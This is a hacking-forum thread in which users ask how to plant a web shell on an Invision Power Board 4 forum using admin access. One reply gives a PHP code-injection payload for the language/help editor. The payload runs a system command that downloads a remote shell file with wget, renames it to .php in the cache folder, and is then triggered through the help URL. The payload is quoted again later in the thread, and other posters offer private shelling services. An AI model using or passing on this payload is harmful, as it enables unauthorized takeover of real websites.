[Mr Kake]

Hi there, I have MYSQL and Admin access to a IPB 4 forum and I was wondering how I could upload my shell? This is very critical so please help.

[SlimJimTheHunter]

Hi there, I have MYSQL and Admin access to a IPB 4 forum and I was wondering how I could upload my shell? This is very critical so please help.

By MYSQL access what do you mean? Access to their database or access to a DBMS like phpma? if so what privileges is the mysql daemon running on, can it read/write files?

[ｍＯｂｉＩｅ]

Login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:

PHP Code


<?php 
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}} 


When you add it, specify go on bottom.

Now we go on:

PHP Code


<?php 
http://www.site.com/index.php?app=core&module=help 


And your code.. done, and you will get your shell @

PHP Code


<?php 
www,site.com/cache/shell.php 


[packetsfam]

I would personally do what mObiIe said^

[Mr Kake]

Login admin panel > Look and Feel >Manage Languages, choose language > section
(example) public_help
edit:
help.txt
Choose topic from list, or search for a topic
In right box add this code:

PHP Code


<?php 
${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv
shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}} 


When you add it, specify go on bottom.

Now we go on:

PHP Code


<?php 
http://www.site.com/index.php?app=core&module=help 


And your code.. done, and you will get your shell @

PHP Code


<?php 
www,site.com/cache/shell.php 


I would personally do what mObiIe said^

His method doesn't work that's why I'm not using it. I already PM'ed him about it.

[Eraeus]

Nobody know how to shell on IPB4 ? (IPS Community Suite)
His method, as said Mr Kake work only on IPB 3.4.x but not on 4.x

I know that we can edit templates (HTML/CSS) and we have a SQL ToolBox, but I don't found any way to upload a shell.

I have an IPB4 to test, so if someone want/can help me, it will be great ;o

[-Elusive-]

I have a method to shell IPS4 but it's private. I can do it for you if you want just pm me the details.
You can check my previous posts and rep for my trustworthiness.

[lollmfaohaha]

what is the purpoese of this shell

[Eraeus]

Hi -Elusive-, I can't MP anyone at the moment sorry

But if you can, please add me at Skype
Skype : supimsyne

[Eraeus]

Bump for this thread, no solution actualy...

Anyone else has already succeeded on this kind of forum?

[egyy]

Hey can you upload any sorts of files?? If so I have a method that just might work ;)